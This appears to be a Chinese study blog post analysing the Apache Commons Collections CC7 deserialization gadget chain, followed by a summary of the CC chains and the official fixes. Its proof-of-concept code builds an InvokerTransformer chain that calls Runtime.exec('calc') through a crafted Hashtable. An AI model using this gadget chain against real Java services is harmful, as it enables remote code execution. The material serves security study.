JAVA反序列化深入学习(九):CommonsCollections7与CC链总结
CC7 依旧是寻找 LazyMap 的触发点
- CC6使用了 HashSet
- 而CC6使用了 Hashtable

JAVA环境
java version "1.8.0_74"
Java(TM) SE Runtime Environment (build 1.8.0_74-b02)
Java HotSpot(TM) 64-Bit Server VM (build 25.74-b02, mixed mode)
依赖版本
- Apache Commons Collections 依赖版本:commons-collections : 3.1 - 3.2.1
检查依赖配置
确认项目中是否正确引入了 Apache Commons Collections 的依赖。如果使用的是 Maven,可以在 pom.xml 文件中添加以下依赖:
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version>
</dependency>
资源下载
- maven
- Java8下载
- commons-collections源码
前置知识
Hashtable - kick-off
Hashtable 与 HashMap 十分相似,是一种 key-value 形式的哈希表,但仍然存在一些区别:
HashMap继承AbstractMap,而Hashtable继承Dictionary,可以说是一个过时的类- 两者内部基本都是使用“数组-链表”的结构,但是 HashMap 引入了红黑树的实现
Hashtable的key-value不允许为 null 值,但是 HashMap 则是允许的- HashMap会将
key=null的实体放在index=0的位置
- HashMap会将
Hashtable线程安全,HashMap线程不安全
那既然两者如此相似,Hashtable 的内部逻辑能否触发反序列化漏洞呢?
答案是肯定的
readObject
Hashtable 的 readObject 方法中,最后调用了 reconstitutionPut 方法将反序列化得到的 key-value 放在内部实现的 Entry 数组 table 里
private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException
{// Read in the length, threshold, and loadfactors.defaultReadObject();...// Read the number of elements and then all the key/value objectsfor (; elements > 0; elements--) {@SuppressWarnings("unchecked")K key = (K)s.readObject();@SuppressWarnings("unchecked")V value = (V)s.readObject();// synch could be eliminated for performancereconstitutionPut(table, key, value);}
}
reconstitutionPut
reconstitutionPut 调用了 key 的 hashCode 方法
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)throws StreamCorruptedException
{if (value == null) {throw new java.io.StreamCorruptedException();}// Makes sure the key is not already in the hashtable.// This should not happen in deserialized version.int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length;...
}
这个调用逻辑是与 HashMap 差不多的
攻击构造
攻击调用代码与 CC6 HashMap 几乎一模一样,不了解的读者可以看看之前发的文章:
JAVA反序列化深入学习(八):CommonsCollections6-CSDN博客
区别仅仅在于换成了 Hashtable 来触发
恶意代码主体
public void CC7WithHashtable() throws Exception {// 初始化 HashMapHashtable<Object, Object> hashtable = new Hashtable<>();Transformer[] transformers = GenTransformerArray();// 创建一个空的 ChainedTransformerChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});// 创建 LazyMap 并引入 TiedMapEntryMap lazyMap = LazyMap.decorate(new HashMap(), fakeChain);TiedMapEntry entry = new TiedMapEntry(lazyMap, "neolock");hashtable.put(entry, "neolock");//用反射再改回真的chainField f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(fakeChain, transformers);//清空由于 hashtable.put 对 LazyMap 造成的影响lazyMap.clear();writeObjectToFile(hashtable, fileName);readFileObject(fileName);
}
Transformer数组生成
protected Transformer[] GenTransformerArray() throws IOException, NoSuchFieldException, IllegalAccessException {// 创建 ChainedTransformerTransformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};return transformers;
}

总结
以上就是 CC7 链分析的全部内容了,最后总结一下
利用说明
用 Hashtable 代替 HashMap 触发 LazyMap 方式,与 CC6 HashMap 几乎一致
Gadget 总结
- kick-off gadget:
java.util.Hashtable#readObject - sink gadget:
org.apache.commons.collections.functors.InvokerTransformer#transform - chain gadget:
org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
调用链展示
Hashtable.readObject()TiedMapEntry.hashCode()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()
CC链总结

利用条件
- CC1、CC3、CC5、CC6、CC7是
Commons Collections<= 3.2.1 中存在的反序列化链 - CC2、CC4是
Commons Collections4 4.0中存在的反序列化链 - 同时还对JDK的版本有要求,测试版本为1.7和1.8
修复方式
官方是怎么修复漏洞的?
Apache Commons Collections官方在2015年底得知序列化相关的问题后,就在两个分⽀上同时发布了新的版本,4.1和3.2.2
3.2.2
- 新版代码中增加了⼀个方法
FunctorUtils#checkUnsafeSerialization,用于检测反序列化是否安全 - 如果开发者没有设置全局配置
org.apache.commons.collections.enableUnsafeSerialization=true,即默认情况下会抛出异常 - 这个检查在常见的危险Transformer类(
InstantiateTransformer、InvokerTransformer、PrototypeFactory、CloneTransformer等)的 readObject 里进行调用,所以当我们反序列化包含这些对象时就会抛出⼀个异常
Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources
4.1
4.1版本的修复方式又不一样
4.1中,这几个危险Transformer类不再实现 Serializable 接口
也就是说,他们几个彻底无法序列化和反序列化了
- Java 反序列化漏洞(二) - Commons Collections | 素十八
- Java反序列化漏洞(九)- CommonsCollections7链
相关文章:
JAVA反序列化深入学习(九):CommonsCollections7与CC链总结
CC7 依旧是寻找 LazyMap 的触发点 CC6使用了 HashSet而CC6使用了 Hashtable JAVA环境 java version "1.8.0_74" Java(TM) SE Runtime Environment (build 1.8.0_74-b02) Java HotSpot(TM) 64-Bit Server VM (build 25.74-b02, mixed mode) 依赖版本 Apache Commons …...
HTML元素小卖部:表单元素 vs 表格元素选购指南
刚学HTML的同学经常把表单和表格搞混,其实它们就像超市里的食品区和日用品区——虽然都在同一个超市,但用途完全不同。今天带你3分钟分清这两大元素家族! 一、表单元素家族(食品区:收集用户输入) 1. <i…...
如何使用 Bash 脚本自动化清理 Nacos 日志文件
如何使用 Bash 脚本自动化清理 Nacos 日志文件 在现代的分布式系统中,Nacos 作为服务发现、配置管理和动态服务管理的核心组件,其日志文件的管理显得尤为重要。随着系统的运行,日志文件会不断累积,占用大量磁盘空间。如果不及时清理,可能会导致磁盘空间不足,影响系统性能…...
群体智能优化算法-算术优化算法(Arithmetic Optimization Algorithm, AOA,含Matlab源代码)
摘要 算术优化算法(Arithmetic Optimization Algorithm, AOA)是一种新颖的群体智能优化算法,灵感来源于加、减、乘、除四种基本算术运算。在优化过程中,AOA 通过乘除操作实现全局探索,通过加减操作强化局部开发&#…...
Redis6数据结构之String类型
redis的String类型是存储字符串类型的key-value。 应用场景:验证码、计数器(包括点赞数、文章/视频浏览数)、订单重复提交、用户登录信息、商品详情。 常用命令: set/get设置和获取key-valuemset/mget批量设置或获取多个key的…...
uniapp中的流式输出
一、完整代码展示 目前大多数的ai对话都是流式输出,也就是对话是一个字或者多个字逐一进行显示的下面是一个完整的流式显示程序,包含的用户的消息发出和ai的消息回复 <template><view class"chat-container"><view class&quo…...
理解 C++ 中的顶层 const 与底层 const(二十四)
1. 示例解析 下面的代码展示了不同 const 限定符的组合及其含义: int i 0; int *const p1 &i; // p1 是一个常量指针:p1 本身不可改变(顶层 const),但 *p1 所指的 int 可修改 const int ci 42; …...
Linux之数据链路层
Linux之数据链路层 一.以太网1.1以太网帧格式1.2MAC地址1.3MTU 二.ARP协议2.1ARP协议工作流程2.2ARP协议格式 三.NAT技术四.代理服务4.1正向代理4.2反向代理 五.四大层的学习总结 一.以太网 在我们学习完了网络层后我们接下来就要进入数据链路层的学习了,在学习完网…...
如何在 vue 渲染百万行数据,vxe-table 渲染百万行数据性能对比,超大量百万级表格渲染
vxe-table 渲染百万行数据性能对比,超大量百万级表格渲染;如何在 vue 渲染百万行数据;当在开发项目时,遇到需要流畅支持百万级数据的表格时, vxe-table 就可以非常合适了,不仅支持强大的功能,虚…...
std::reference_wrapper 和 std::function的详细介绍
关于 std::reference_wrapper 和 std::function 的详细介绍及具体测试用例: 1. std::reference_wrapper(引用包装器) 核心功能 包装引用:将引用转换为可拷贝、可赋值的对象支持隐式转换:可自动转换为原始引用类型容器…...
如何封装一个上传文件组件
#今天用el-upload感到很多不方便,遂决定自己封装一个。注:本文不提供表面的按钮样式和文件上传成功后的样式,需要自己创建。本文仅介绍逻辑函数# 1,准备几个表面用来指引上传的元素 2,创造统一的隐藏文件上传输入框&…...
MySQL-5.7.37安装配置(Windows)
1.下载MySQL-5.7.37软件包并解压 2.配置本地环境变量 打开任务栏 搜索高级系统设置 新建MySQL的环境变量 然后在path中添加%MYSQL_HOME%\bin 3.在MySQL-5.7.37解压的文件夹下新建my.ini文件并输入以下内容 [mysqld]#端口号port 3306#mysql-5.7.27-winx64的路径basedirC:\mysq…...
CentOS与Ubuntu命令对比指南:从软件包管理到系统配置
CentOS与Ubuntu命令对比指南 作为两大主流Linux发行版,**CentOS(基于RHEL)和Ubuntu(基于Debian)**在日常运维中常因命令差异引发混淆。本文通过关键场景对比,助您快速掌握两者的核心操作区别。 一、软件包管理:yum/dnf vs apt 操作CentOSUbuntu更新软件源yum check-upd…...
鸿蒙北向应用开发:deveco 5.0 kit化文件相关2
鸿蒙北向应用开发:deveco 5.0 kit化文件相关 在kit化时,有时候会出现这样一种场景即你想把已有的d.ts导出换个名字,这样从名字上更贴合你的kit聚合 什么意思呢?比如现在有 ohos.hilog.d.ts 导出了hilog,现在你想kit化hilog,使得hilog导出名字为usrhilog,这样用户在使用你的k…...
《HelloGitHub》第 108 期
兴趣是最好的老师,HelloGitHub 让你对开源感兴趣! 简介 HelloGitHub 分享 GitHub 上有趣、入门级的开源项目。 github.com/521xueweihan/HelloGitHub 这里有实战项目、入门教程、黑科技、开源书籍、大厂开源项目等,涵盖多种编程语言 Python、…...
C++可变参数
可变参数C风格的可变参数C风格可变参数的使用 C11可变参数模板递归展开参数包参数列表展开折叠表达式 STL中的emplace插入接口 可变参数 C风格的可变参数 可变参数是一种语言特性,可以在函数声明中使用省略号...来表示函数接受可变数量的参数。 例如典型的printf…...
光传输设备现状
随着运营商准备好其基础设施以应对新一代高带宽应用程序和 AI 部署,光传输网络 (OTN) 市场再次有望实现稳健增长。 隧道的尽头有光亮,OTN 市场在 2024 年最后一个季度表现强劲,设备供过于求的时代已经结束。 供应商表示设备订单量有所增加&…...
Python 笔记 (二)
Python Note 2 1. Python 慢的原因2. 三个元素3. 标准数据类型4. 字符串5. 比较大小: 富比较方法 rich comparison6. 数据容器 (支持*混装* )一、允许重复类 (list、tuple、str)二、不允许重复类 (set、dict)1、集合(set)2、字典(dict)3、特殊: 双端队列 deque 三、数据容器的共…...
nt!IopCompleteReques函数分析之IopUpdateOtherTransferCount和IopDequeueThreadIrp
VOID IopCompleteRequest( IN PKAPC Apc, IN PKNORMAL_ROUTINE *NormalRoutine, IN PVOID *NormalContext, IN PVOID *SystemArgument1, IN PVOID *SystemArgument2 ) 第一部分: if (irp->UserEvent) { (VOID) KeSetEvent( …...
d2025329
目录 一、修复表中名字 二、患某种疾病的患者 三、最长连续子序列 四、二叉树的层序遍历 一、修复表中名字 1667. 修复表中的名字 - 力扣(LeetCode) concat(A,B),将字符串A和B拼接left(str,len),从字符串左边开始截取len个字…...
北斗导航 | 中国北斗卫星导航系统的发展历程——“三步走”战略:背景,信号频点,调制方式,短报文,等
中国北斗卫星导航系统的发展历程按照“三步走”战略逐步推进,从区域服务到全球覆盖,形成了北斗一号、北斗二号、北斗三号三代系统的迭代升级,展现了中国航天科技的自主创新与突破。以下是各阶段的核心内容与发展特点综述:一、北斗一号:中国卫星导航的奠基(1994-2003年) …...
cordova android12+升级一些配置注意事项
1.以android13为例 Cordova Android 13.0.0 cordova platform remove android cordova platform add android13.0.0Cordova Android 13.0.0 这里建议将android-studio升级到最新 build时若是需要到gradled安装失败 建议多试几次 或者直接用网页下载 找到 Android Studio 的 G…...
批量处理word里面表格的空白行
1,随便打开一个word文档。 2,按下Alt F11 VBA编辑器,在左侧的「工程资源管理器」窗口中找到Normal 项目,右键选择插入->模块。 弹出一下弹窗 3,输入一下代码 代码: Sub RemoveEmptyTableRows()Dim tbl As TableDim row As R…...
K8S学习之基础五十七:部署代码扫描工具sonarqube
部署代码扫描工具sonarqube 拉取postgres、sonarqube镜像,在harbor上创建postgres、sonarqube项目,将镜像上传至harbordocker pull postgres docker pull sonarqube docker tat postgres:latest 172.16.80.140/postgres/postgres:latest docker tat sona…...
Nginx 解决具有不安全、不正确或缺少 SameSite 属性的 Cookie方案
针对Nginx中Cookie的SameSite属性配置问题,以下是综合解决方案及注意事项: 一、基础配置方法 全局设置Cookie属性(适用于Nginx直接生成Cookie) 在nginx.conf的location块中通过add_header指令添加: add_header Se…...
音频知识 参数分析
通道布局 参考 通过pcm音频数据计算分贝 理解FFT和信号加窗原理及意义 dts音效大师教程...
使用 rsync 进行服务器文件同步与优化
使用 Rsync 工具在两台 Linux 服务器之间同步文件 Rsync 是一种高效的文件同步工具,它可以在本地或远程服务器之间同步文件和目录。Rsync 通过仅传输文件的变化部分来减少数据传输量,因此特别适合用于定期备份或同步大量数据。本文将详细介绍如何将 A 服…...
MySQL 的 SQL 语句执行顺序
MySQL 的 SQL 语句执行顺序并不完全按照代码的书写顺序执行,而是遵循一套固定的逻辑流程 1. FROM 和 JOIN 作用:确定查询的数据来源,包括表和它们的连接方式(如 INNER JOIN, LEFT JOIN 等)。 细节: 先执行…...
小型水库大坝安全及水雨情监测技术方案
一、小型水库监测系统构成 小型水库雨水情测报和大坝安全监测系统由水库监测站点、通信网络和监测平台等组成,系统总体架构如图所示。 水库监测站点设施包括:雨量计、水位计、视频监视设备、渗压计、量水堰计、变形监测仪器、数据采集仪、遥测终端、水准…...
scala简介和基础语法
Scala简介 Scala 是一门多范式(multi-paradigm)的编程语言,设计初衷是要集成面向对象编程和函数式编程的各种特性。 Scala 运行在 Java 虚拟机上,并兼容现有的 Java 程序。Scala 源代码被编译成 Java 字节码,所以它可…...
